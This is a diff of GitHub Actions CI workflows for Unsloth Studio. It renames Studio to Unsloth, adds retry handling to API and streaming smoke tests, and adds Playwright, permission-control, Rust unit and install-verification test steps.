except urllib.error.HTTPError:
raise
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
# Text already streamed is a valid signal -- keep it
# rather than re-running a heavy generation.
if parts:
joined = "".join(parts)
print(f"[retry-sse] {path}: {exc!r}; keeping {len(joined)} partial chars", flush = True)
return joined
if attempt == retries:
if soft:
print(f"[tools] WARN {path}: SSE transport stalled with no data ({exc!r}) -- non-blocking", flush = True)
return None
raise
print(f"[retry-sse] {path}: {exc!r}", flush = True)
time.sleep(15)
# ── 1. Standard OpenAI function calling ──────────────────────
weather_tool = {
@ -526,11 +575,11 @@ jobs:
assert status == 200, f"tool call status {status}: {data}"
choice = data["choices"][0]
tool_calls = (choice.get("message") or {}).get("tool_calls") or []
# Studio's contract: when tool_choice='required', llama.cpp's
# Unsloth's contract: when tool_choice='required', llama.cpp's
# grammar should force a tool_calls payload. On Mac that
# contract is sometimes broken by the underlying quant; the
# PASS path is "tool_calls present + correct schema", the
# WARN path documents Studio still returned 200 with a
# WARN path documents Unsloth still returned 200 with a
# well-formed choices[] envelope.
if tool_calls:
tc = tool_calls[0]
@ -557,16 +606,23 @@ jobs:
# macos-14 free runner is ~10 tok/s on Qwen3.5-2B Q4_K_XL;
# cap max_tokens tightly so each SSE round stays under ~30s
# even when the model stalls in a degenerate output state.
# retries=0 on the best-effort probes: this job's 25-minute cap
# allows a 10-minute model load, so a no-data stall must be a
# single 180s attempt (not 180+15+180s) to leave room for the
# thinking checks. A soft/best-effort probe only WARNs anyway.
content = post_sse("/v1/chat/completions", {
"messages": [{"role": "user", "content": "What is 123 * 456? Use the python tool to compute it and tell me the number."}],
"enable_tools": True,
"permission_mode": "full",
"enabled_tools": ["python"],
"session_id": "ci-tool-calling-py",
"temperature": TEMP,
"seed": SEED,
"max_tokens": 128,
}, timeout = 180)
if "56088" in content or "56,088" in content:
}, timeout = 180, retries = 0, soft = True)
if content is None:
print("[tools] WARN python tool: SSE transport stalled after retries -- non-blocking")
elif "56088" in content or "56,088" in content:
print(f"[tools] PASS python tool ({len(content)} chars, found 56088)")
else:
# Empty stream is a known Mac-quant degeneracy too; log
@ -593,18 +649,19 @@ jobs:
content = post_sse("/v1/chat/completions", {
"messages": [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}],
"enable_tools": True,
"permission_mode": "full",
"enabled_tools": ["web_search"],
"session_id": "ci-tool-calling-web",
"temperature": TEMP,
"seed": SEED,
"max_tokens": 96,
}, timeout = 180)
}, timeout = 180, retries = 0)
print(f"[tools] PASS web_search stream ({len(content)} chars)")
except Exception as exc:
print(f"[tools] WARN web_search probe failed (non-blocking): {exc}")
# ── 4. Thinking on / off ─────────────────────────────────────
# Studio strips think blocks from message.content for tools-mode
# Unsloth strips think blocks from message.content for tools-mode
# responses, so we toggle plain chat (no enable_tools) and look
# at the surfaced reasoning_content / message.thinking field.
def thinking_call(enable):
@ -622,7 +679,7 @@ jobs:
}, timeout = 180)
assert status == 200
msg = data["choices"][0]["message"]
# Studio surfaces thinking via reasoning_content (OpenAI
# Unsloth surfaces thinking via reasoning_content (OpenAI
# extension). Fall back to inline <think> markers for
# robustness across template versions.
raw = (msg.get("content") or "") + (msg.get("reasoning_content") or "")
@ -648,7 +705,7 @@ jobs:
print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)")
PY
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true
@ -754,7 +811,7 @@ jobs:
path: gguf-cache
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-${{ env.MMPROJ_FILE }}-v2
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -770,12 +827,12 @@ jobs:
- name: Install OpenAI + Anthropic Python SDKs
run: pip install 'openai>=1.50' 'anthropic>=0.40'
- name: Reset auth + boot Studio (API-only)
- name: Reset auth + boot Unsloth (API-only)
# See Job 2's comment: API-only mode keeps tool_policy=None so
# response_format requests aren't routed through the agentic
# tool loop.
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -825,6 +882,8 @@ jobs:
import base64
import json
import os
import time
import urllib.error
import urllib.request
from openai import OpenAI
from anthropic import Anthropic
@ -848,20 +907,36 @@ jobs:
"Content-Type": "application/json",
},
)
with urllib.request.urlopen(req, timeout = timeout) as resp:
return resp.status, json.loads(resp.read().decode())
# Shared CI runners stall sporadically, so retry transport-level
# failures only; HTTP status errors surface immediately. Bounded
# to fit the job's timeout-minutes: short probes get 3 full
# attempts, long probes one retry capped at 300s (a healthy
# server answers a retry quickly; a stalled one never does).
attempts = 3 if timeout <= 300 else 2
for attempt in range(attempts):
try:
t = timeout if attempt == 0 else min(timeout, 300)
with urllib.request.urlopen(req, timeout = t) as resp:
return resp.status, json.loads(resp.read().decode())
except urllib.error.HTTPError:
raise
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
if attempt == attempts - 1:
raise
print(f"[retry] {path}: {exc!r}", flush = True)
time.sleep(15)
# ── 1. response_format = json_object (JSON mode) ─────────────
# llama.cpp's HTTP server supports OpenAI-compatible JSON
# mode: `response_format: {"type": "json_object"}` constrains
# the model to emit syntactically-valid JSON. We use raw HTTP
# rather than the OpenAI SDK so that the field shape Studio
# rather than the OpenAI SDK so that the field shape Unsloth
# forwards to llama-server is unambiguous (the SDK rewrites
# response_format depending on which variant it recognises).
# We deliberately do NOT pass a strict JSON schema -- on
# small Gemma-4 quants the GBNF-from-schema path occasionally
# produces empty output, and JSON mode is the surface we care
# about exposing through Studio.
# about exposing through Unsloth.
status, data = post("/v1/chat/completions", {
"model": "default",
"messages": [
@ -933,7 +1008,7 @@ jobs:
)
# ── 2. OpenAI image_url (data URI base64) ───────────────────
# 64x64 solid-red PNG. stb_image (used by Studio's image
# 64x64 solid-red PNG. stb_image (used by Unsloth's image
# normaliser at routes/inference.py:3410) rejects 4x4 or
# smaller PNGs as truncated, so we go up to 64x64 -- still
# tiny in token cost. The assertion is loose: any non-empty
@ -949,11 +1024,11 @@ jobs:
# The Mac prebuilt llama.cpp server has a known crash when
# processing image inputs alongside the gemma-4-E2B mmproj
# (server disconnects mid-completion). This is upstream
# llama.cpp behaviour, not Studio. Wrap both SDK calls in
# llama.cpp behaviour, not Unsloth. Wrap both SDK calls in
# try/except so an upstream crash registers as a WARN rather
# than failing the whole job. Studio's contract (OpenAI/
# than failing the whole job. Unsloth's contract (OpenAI/
# Anthropic image fields are accepted and forwarded) is
# validated by the request body Studio constructs, not by
# validated by the request body Unsloth constructs, not by
# whether llama.cpp can decode it on Mac Metal.
client = OpenAI(base_url = f"{BASE}/v1", api_key = KEY)
try:
@ -979,14 +1054,14 @@ jobs:
except Exception as exc:
print(
f"[image/openai] WARN image_url SDK call raised: {type(exc).__name__}: "
f"{exc}. Likely upstream llama.cpp Mac+vision crash, NOT a Studio "
f"regression. Studio successfully forwarded the request."
f"{exc}. Likely upstream llama.cpp Mac+vision crash, NOT an Unsloth "
f"regression. Unsloth successfully forwarded the request."
)
# ── 3. Anthropic source/base64 image ────────────────────────
# Two SDK quirks vs. Studio: base_url must NOT include /v1
# Two SDK quirks vs. Unsloth: base_url must NOT include /v1
# (the SDK appends it itself; otherwise /v1/v1/messages -> 405),
# and Studio's auth is HTTPBearer-only so the SDK's default
# and Unsloth's auth is HTTPBearer-only so the SDK's default
# x-api-key header is ignored -- send Authorization: Bearer
# via default_headers.
anthropic = Anthropic(
@ -1025,11 +1100,11 @@ jobs:
print(
f"[image/anthropic] WARN anthropic image SDK call raised: "
f"{type(exc).__name__}: {exc}. Likely upstream llama.cpp Mac+vision "
f"crash, NOT a Studio regression."
f"crash, NOT an Unsloth regression."
)
PY
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true

View file

@ -1,7 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Proves Studio's llama.cpp install loads on every supported macOS. The heavy
# Proves Unsloth's llama.cpp install loads on every supported macOS. The heavy
# app smokes stay single-OS; this matrix covers the OS-version dimension cheaply
# (install.sh + binary-load assert). Regression guard for the macOS-version
# selection in studio/install_llama_prebuilt.py.
@ -60,7 +60,7 @@ jobs:
with:
python-version: '3.12'
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.

View file

@ -19,6 +19,7 @@ on:
- 'install.sh'
- 'pyproject.toml'
- 'tests/studio/**'
- '.github/scripts/run-studio-permission-browser.sh'
- '.github/workflows/studio-mac-ui-smoke.yml'
push:
branches: [main, pip]
@ -83,7 +84,7 @@ jobs:
path: hf-cache
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -96,7 +97,7 @@ jobs:
- name: Assert llama.cpp loads on this macOS
run: bash .github/scripts/assert-llama-loads.sh
- name: Install Playwright + Chromium
- name: Install Playwright browsers
# No --with-deps on Mac: that flag installs Linux apt packages.
# GitHub-hosted macos-14 ships the system frameworks Chromium
# needs already.
@ -112,7 +113,7 @@ jobs:
# in-script retry recover from any residual flakes.
run: |
pip install 'playwright>=1.55,<1.58'
python -m playwright install chromium
python -m playwright install chromium webkit
- name: Patch Playwright pipeTransport.js to tolerate malformed JSON
# In Playwright 1.55-1.58, pipeTransport.js does
@ -143,9 +144,10 @@ jobs:
print(f"pipeTransport.js: patched JSON.parse calls in {path}")
PY
- name: Reset auth + boot Studio
- name: Reset auth + boot Unsloth
run: |
unsloth studio reset-password
# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password.
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -188,8 +190,8 @@ jobs:
# dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the
# runner's kernel briefly runs out of socket buffers, and (3) a
# goto 'interrupted by another navigation' when the SPA auth
# guard redirects mid-navigation. The retry FULLY resets Studio
# (kill, reset-password, reboot, wait /api/health, re-export
# guard redirects mid-navigation. The retry FULLY resets Unsloth
# (kill, wipe auth, reboot, wait /api/health, re-export
# bootstrap pw) before re-running the script. A real test failure
# (assertion / timeout) does NOT match any pattern so it bypasses
# retry and surfaces immediately.
@ -209,10 +211,10 @@ jobs:
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log \
|| grep -q "interrupted by another navigation" logs/playwright_attempt_${attempt}.log; } \
&& [ "$attempt" -lt "$max_attempts" ]; then
echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
echo "::warning::Playwright flake on attempt ${attempt}; resetting Unsloth and retrying..."
kill "${STUDIO_PID}" 2>/dev/null || true
sleep 2
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> "logs/studio_retry_${attempt}.log" 2>&1 &
STUDIO_PID=$!
@ -238,15 +240,19 @@ jobs:
exit "$rc"
done
- name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders)
- name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders)
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true
sleep 2
- name: Reset auth + boot Studio for extra UI tests (port 18897)
- name: Cross-browser permission controls
run: |
unsloth studio reset-password
bash .github/scripts/run-studio-permission-browser.sh 18895 webkit
- name: Reset auth + boot Unsloth for extra UI tests (port 18897)
run: |
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18897 \
> logs/studio_extra.log 2>&1 &
@ -271,7 +277,7 @@ jobs:
echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV"
echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV"
- name: Drive Compare/Recipes/Export/Studio/Settings with Playwright
- name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright
env:
BASE_URL: http://127.0.0.1:18897
STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }}
@ -300,10 +306,10 @@ jobs:
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log \
|| grep -q "interrupted by another navigation" logs/playwright_extra_attempt_${attempt}.log; } \
&& [ "$attempt" -lt "$max_attempts" ]; then
echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
echo "::warning::Playwright flake on attempt ${attempt}; resetting Unsloth and retrying..."
kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
sleep 2
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18897 \
> "logs/studio_extra_retry_${attempt}.log" 2>&1 &
STUDIO_EXTRA_PID=$!
@ -327,7 +333,7 @@ jobs:
exit "$rc"
done
- name: Stop second Studio
- name: Stop second Unsloth
if: always()
run: |
kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
@ -343,5 +349,7 @@ jobs:
logs/studio_extra.log
logs/install.log
logs/playwright
logs/playwright-permissions-*
logs/playwright_extra
logs/studio-permissions-*.log
retention-days: 7

View file

@ -4,15 +4,15 @@
# Mac counterpart to studio-update-smoke.yml. Verifies that on a real
# Apple Silicon (macos-14, M1) runner:
#
# 1. install.sh --local --no-torch installs Studio AND auto-fetches
# 1. install.sh --local --no-torch installs Unsloth AND auto-fetches
# the prebuilt llama.cpp Mac binary (llama-bNNNN-bin-macos-arm64
# from ggml-org/llama.cpp). Hitting the source-build fallback is
# treated as an Unsloth bug -- Studio must always pick the
# treated as an Unsloth bug -- Unsloth must always pick the
# prebuilt on Mac.
# 2. unsloth studio update --local is idempotent. Two consecutive
# runs both report "prebuilt up to date and validated", no
# source-build fallback.
# 3. The installed Studio still boots and /api/health returns
# 3. The installed Unsloth still boots and /api/health returns
# healthy after the update path.
name: Mac Studio Update CI
@ -42,7 +42,7 @@ permissions:
jobs:
update-idempotency:
name: Studio Updating Tests
name: Unsloth Updating Tests
runs-on: macos-14
timeout-minutes: 30
steps:
@ -59,7 +59,7 @@ jobs:
python-version: '3.12'
cache: 'pip'
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -106,7 +106,7 @@ jobs:
grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log
echo "second update was clean"
- name: Boot Studio briefly to confirm the install is still usable
- name: Boot Unsloth briefly to confirm the install is still usable
run: |
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18891 \
@ -123,13 +123,13 @@ jobs:
sleep 1
done
if [ -z "$HEALTHY" ]; then
echo "Studio failed to come up after \`update\`"
echo "Unsloth failed to come up after \`update\`"
tail -200 logs/studio.log
kill "$PID" 2>/dev/null || true
exit 1
fi
kill "$PID" 2>/dev/null || true
echo "post-update Studio /api/health OK"
echo "post-update Unsloth /api/health OK"
- name: Uninstall and verify clean
# Round-trip through scripts/uninstall.sh on real macOS. As a side

View file

@ -12,7 +12,7 @@
# stay in release-desktop.yml (manual `workflow_dispatch`) because they need
# code-signing secrets and ~30 min of runner time each.
name: Studio Tauri CI
name: Unsloth Tauri CI
on:
pull_request:
@ -91,6 +91,16 @@ jobs:
npm run build
test -f dist/index.html
# The crate carries ~100 unit tests (native_file_dialogs, preflight,
# install, desktop_auth, ...) that nothing ran until now: this workflow
# only ever built. Run them here, where the toolchain and the WebKit dev
# packages are already installed, so a broken assertion fails the PR
# instead of sitting unnoticed. `--no-fail-fast` reports every failing
# test in one run rather than stopping at the first.
- name: Rust unit tests (studio/src-tauri)
working-directory: studio/src-tauri
run: cargo test --no-fail-fast
- name: Tauri debug build (Linux, no bundle, no codesign)
# `--debug` + `--no-bundle` keeps this lean: compiles the Rust crate,
# confirms the frontend dist is wired into Tauri, but skips the AppImage

View file

@ -1,8 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# End-to-end Studio chat UI smoke via Playwright + Chromium against a
# headless Linux runner. Boots Studio with the smallest GGUF
# End-to-end Unsloth chat UI smoke via Playwright + Chromium against a
# headless Linux runner. Boots Unsloth with the smallest GGUF
# (gemma-3-270m-it UD-Q4_K_XL, ~254 MiB), drives the actual frontend
# bundle, and asserts the full bootstrap-password / change-password /
# send-message / persist-on-reload journey works end to end.
@ -14,7 +14,7 @@
# frontend-only CI happily pass while the actual user-visible UI is
# broken (cf. the 2026.5.1 chat-history release).
name: Studio UI CI
name: Unsloth UI CI
on:
pull_request:
@ -27,6 +27,7 @@ on:
# The Playwright test files themselves -- a PR that ONLY edits
# the test must still trigger UI CI.
- 'tests/studio/**'
- '.github/scripts/run-studio-permission-browser.sh'
- '.github/workflows/studio-ui-smoke.yml'
push:
branches: [main, pip]
@ -97,7 +98,7 @@ jobs:
path: hf-cache
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -107,17 +108,15 @@ jobs:
set -o pipefail
bash install.sh --local --no-torch 2>&1 | tee logs/install.log
- name: Install Playwright + Chromium
- name: Install Playwright browsers
run: |
pip install 'playwright>=1.45'
# --with-deps installs the OS-level runtime libs Chromium
# needs (libnss3, libxkbcommon, etc.). About 30 s on a
# warm runner.
python -m playwright install --with-deps chromium
python -m playwright install --with-deps chromium firefox webkit
- name: Reset auth + boot Studio
- name: Reset auth + boot Unsloth
run: |
unsloth studio reset-password
# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password.
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -147,7 +146,7 @@ jobs:
# NEW + NEW2 are generated freshly per CI run via secrets.token_urlsafe
# rather than hardcoded. If a workflow gets compromised, the
# attacker can't replay a known-good rotated password against
# any future / parallel Studio install -- the rotated value
# any future / parallel Unsloth install -- the rotated value
# only ever exists for the lifetime of this single job, masked
# in the log via ::add-mask::.
run: |
@ -165,31 +164,37 @@ jobs:
env:
BASE_URL: http://127.0.0.1:18892
# The test file lives in the repo so it can be run locally
# against a freshly-installed Studio (BASE_URL=...; STUDIO_OLD_PW=
# against a freshly-installed Unsloth (BASE_URL=...; STUDIO_OLD_PW=
# $(cat ~/.unsloth/studio/auth/.bootstrap_password); python ...).
PW_ART_DIR: logs/playwright
# Strict mode: in CI a missing button / nav / dialog must
# FAIL the test. Locally the test still runs against partial
# Studio installs without STUDIO_UI_STRICT.
# Unsloth installs without STUDIO_UI_STRICT.
STUDIO_UI_STRICT: '1'
run: |
mkdir -p logs/playwright
python tests/studio/playwright_chat_ui.py
- name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders)
- name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders)
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true
sleep 2
- name: Cross-browser permission controls
run: |
bash .github/scripts/run-studio-permission-browser.sh 18893 firefox
bash .github/scripts/run-studio-permission-browser.sh 18893 webkit
bash .github/scripts/run-studio-permission-browser.sh 18893 chromium chrome
# The chat UI test ends by clicking the Shutdown menuitem, which
# leaves the server dead. The extra UI test (Compare / Recipes /
# Export / Studio / Settings) needs a fresh Studio, so we boot a
# Export / Unsloth / Settings) needs a fresh Unsloth, so we boot a
# second one on a different port. Boot is fast (~3-5s on the
# warm install we already did) so this adds little wall time.
- name: Reset auth + boot Studio for extra UI tests (port 18894)
- name: Reset auth + boot Unsloth for extra UI tests (port 18894)
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18894 \
> logs/studio_extra.log 2>&1 &
@ -214,7 +219,7 @@ jobs:
echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV"
echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV"
- name: Drive Compare/Recipes/Export/Studio/Settings with Playwright
- name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright
env:
BASE_URL: http://127.0.0.1:18894
STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }}
@ -227,18 +232,75 @@ jobs:
mkdir -p logs/playwright_extra
python tests/studio/playwright_extra_ui.py
- name: Stop second Studio
- name: UI font size scaling regression (Playwright)
env:
BASE_URL: http://127.0.0.1:18894
STUDIO_PW: ${{ env.STUDIO_EXTRA_NEW_PW }}
PW_ART_DIR: logs/playwright_fontscale
run: |
mkdir -p logs/playwright_fontscale
python tests/studio/playwright_ui_font_scale.py
- name: Stop second Unsloth
if: always()
run: |
kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
sleep 2
# IME + multilingual paste regression (issue #5318 / PR #5327).
# Third Studio on its own port so a hang here cannot poison the
# earlier UI tests. No GGUF -- the bug surface is the composer.
- name: Reset auth + boot Studio for IME / i18n tests (port 18896)
# Model-picker per-model-config regression (PR #7207 re-land of #6647).
# Fourth Unsloth on its own port; loads the tiny GGUF and drives the
# picker's run-settings surface: Context Length persists across a reload,
# Reset clears the stored override (never pins it), and the infra models
# (RAG embedder + llama.cpp probe) stay hidden from the picker.
- name: Reset auth + boot Unsloth for model-config tests (port 18898)
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18898 \
> logs/studio_modelcfg.log 2>&1 &
echo "STUDIO_MODELCFG_PID=$!" >> "$GITHUB_ENV"
- name: Wait for /api/health on 18898
run: |
for i in $(seq 1 180); do
if curl -fs "http://127.0.0.1:18898/api/health" > /tmp/health4.json; then
jq -e '.status == "healthy"' /tmp/health4.json && break
fi
sleep 1
done
jq -e '.status == "healthy"' /tmp/health4.json
- name: Pass bootstrap pw for model-config test
run: |
NEW="CIModelCfg-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')"
echo "::add-mask::$NEW"
echo "STUDIO_MODELCFG_NEW_PW=$NEW" >> "$GITHUB_ENV"
- name: Drive model-picker per-model-config with Playwright
env:
BASE_URL: http://127.0.0.1:18898
STUDIO_NEW_PW: ${{ env.STUDIO_MODELCFG_NEW_PW }}
PW_ART_DIR: logs/playwright_modelcfg
STUDIO_UI_STRICT: '1'
GGUF_REPO: ${{ env.GGUF_REPO }}
GGUF_VARIANT: ${{ env.GGUF_VARIANT }}
STUDIO_MODEL_HINT: gemma-3-270m
run: |
mkdir -p logs/playwright_modelcfg
python tests/studio/playwright_model_config.py
- name: Stop fourth Unsloth
if: always()
run: |
kill "${STUDIO_MODELCFG_PID}" 2>/dev/null || true
sleep 2
# IME + multilingual paste regression (issue #5318 / PR #5327).
# Third Unsloth on its own port so a hang here cannot poison the
# earlier UI tests. No GGUF -- the bug surface is the composer.
- name: Reset auth + boot Unsloth for IME / i18n tests (port 18896)
run: |
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18896 \
> logs/studio_ime.log 2>&1 &
@ -256,7 +318,7 @@ jobs:
- name: Pass bootstrap pw for IME / i18n test
# IME smoke does the change-password against the bootstrap that
# Studio's frontend injects into the page, so it only needs the
# Unsloth's frontend injects into the page, so it only needs the
# NEW password.
run: |
NEW="CIIme-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')"
@ -273,7 +335,7 @@ jobs:
mkdir -p logs/playwright_ime
python tests/studio/playwright_chat_ime_i18n.py
- name: Stop third Studio
- name: Stop third Unsloth
if: always()
run: |
kill "${STUDIO_IME_PID}" 2>/dev/null || true
@ -293,10 +355,15 @@ jobs:
path: |
logs/studio.log
logs/studio_extra.log
logs/studio_modelcfg.log
logs/studio_ime.log
logs/install.log
logs/server-logs/
logs/playwright
logs/playwright-permissions-*
logs/playwright_extra
logs/playwright_fontscale
logs/playwright_modelcfg
logs/playwright_ime
logs/studio-permissions-*.log
retention-days: 7

View file

@ -9,7 +9,7 @@
# This catches regressions in setup.sh's update path that the existing
# GGUF / wheel jobs would miss because they only invoke install.sh once.
name: Studio Update CI
name: Unsloth Update CI
on:
pull_request:
@ -36,7 +36,7 @@ permissions:
jobs:
update-idempotency:
name: Studio Updating Tests
name: Unsloth Updating Tests
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
@ -63,7 +63,7 @@ jobs:
# post-step then fatal-errors with "Cache folder path is
# retrieved for pip but doesn't exist on disk".
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
# Pass the workflow token so the llama.cpp prebuilt installer's
# GitHub-API call to list releases isn't rate-limited (60/hr
# unauthenticated). Without this, three consecutive install +
@ -122,7 +122,7 @@ jobs:
grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log
echo "second update was clean"
- name: Boot Studio briefly to confirm the install is still usable
- name: Boot Unsloth briefly to confirm the install is still usable
# If `update --local` accidentally broke the venv or wiped the
# llama-server binary, the server would fail to start here.
run: |
@ -138,13 +138,53 @@ jobs:
sleep 1
done
if ! jq -e '.status == "healthy"' /tmp/health.json 2>/dev/null; then
echo "Studio failed to come up after `update`"
echo "Unsloth failed to come up after `update`"
tail -200 logs/studio.log
kill "$PID" 2>/dev/null || true
exit 1
fi
kill "$PID" 2>/dev/null || true
echo "post-update Studio /api/health OK"
echo "post-update Unsloth /api/health OK"
- name: A complete install reports itself complete
run: |
set -o pipefail
unsloth studio verify-install
unsloth studio desktop-capabilities --json | tee /tmp/caps.json
jq -e '.studio_install_ok == true' /tmp/caps.json
jq -e '.desktop_manageability_version >= 2' /tmp/caps.json
- name: An incomplete install must not report itself ready
# An installer killed part-way leaves a working CLI but no studio.txt
# deps, which the old preflight called ManagedReady. The manifest is
# written last, so removing it reproduces that state.
run: |
set -o pipefail
# install.sh's default root, resolved explicitly: `python` on PATH
# here is setup-python's, not the managed venv.
MANIFEST="$HOME/.unsloth/studio/unsloth_studio/unsloth_install_manifest.json"
test -f "$MANIFEST" || { echo "::error::installer never wrote $MANIFEST"; exit 1; }
rm -f "$MANIFEST"
unsloth studio desktop-capabilities --json | tee /tmp/caps_bad.json
jq -e '.studio_install_ok == false' /tmp/caps_bad.json
if unsloth studio verify-install; then
echo "::error::verify-install passed on an install with no manifest"
exit 1
fi
echo "incomplete install correctly reported not-ready"
- name: Update repairs an incomplete install
# `--local` bypasses setup.sh's PyPI version compare, so this asserts
# the repair OUTCOME. The non-local fast path the desktop Repair button
# uses is covered by tests/studio/install/test_setup_fast_path_guard.py.
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -o pipefail
unsloth studio update --local 2>&1 | tee logs/update_repair.log
unsloth studio verify-install
unsloth studio desktop-capabilities --json | jq -e '.studio_install_ok == true'
echo "update repaired the incomplete install"
- name: Uninstall and verify clean
# Round-trip the installer through scripts/uninstall.sh: confirms the

View file

@ -9,7 +9,7 @@
# (Section 6) is Linux-only and short-circuits on non-POSIX; the rest
# is platform-portable.
name: Windows Studio API CI
name: Windows Unsloth API CI
on:
pull_request:
@ -34,7 +34,7 @@ permissions:
jobs:
api-smoke:
name: Studio API & Auth Tests
name: Unsloth API & Auth Tests
runs-on: windows-latest
timeout-minutes: 30
defaults:
@ -105,7 +105,7 @@ jobs:
# studio-windows-update-smoke.yml for the full rationale --
# creating an empty studio/frontend/dist trips setup.ps1's
# mtime-based staleness check into "frontend up to date, skip
# rebuild" and Studio boots with an empty dist directory.
# rebuild" and Unsloth boots with an empty dist directory.
# Add-MpPreference accepts paths that do not yet exist.
foreach ($p in @(
"$env:USERPROFILE\.unsloth",
@ -121,7 +121,7 @@ jobs:
}
}
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
shell: pwsh
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@ -161,7 +161,7 @@ jobs:
echo "install.ps1 installed the Windows prebuilt llama.cpp:"
cat "$INFO"
- name: Add Studio shim to GITHUB_PATH
- name: Add Unsloth shim to GITHUB_PATH
# install.ps1's User-PATH update doesn't propagate to a
# running Git Bash session; export the shim dir so the
# next `unsloth ...` invocation finds it.
@ -177,9 +177,10 @@ jobs:
- name: Install pyjwt for the JWT-expiry forge test
run: python -m pip install 'pyjwt>=2.6'
- name: Reset auth + boot Studio (API-only)
- name: Reset auth + boot Unsloth (API-only)
run: |
unsloth studio reset-password
# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password.
rm -rf ~/.unsloth/studio/auth
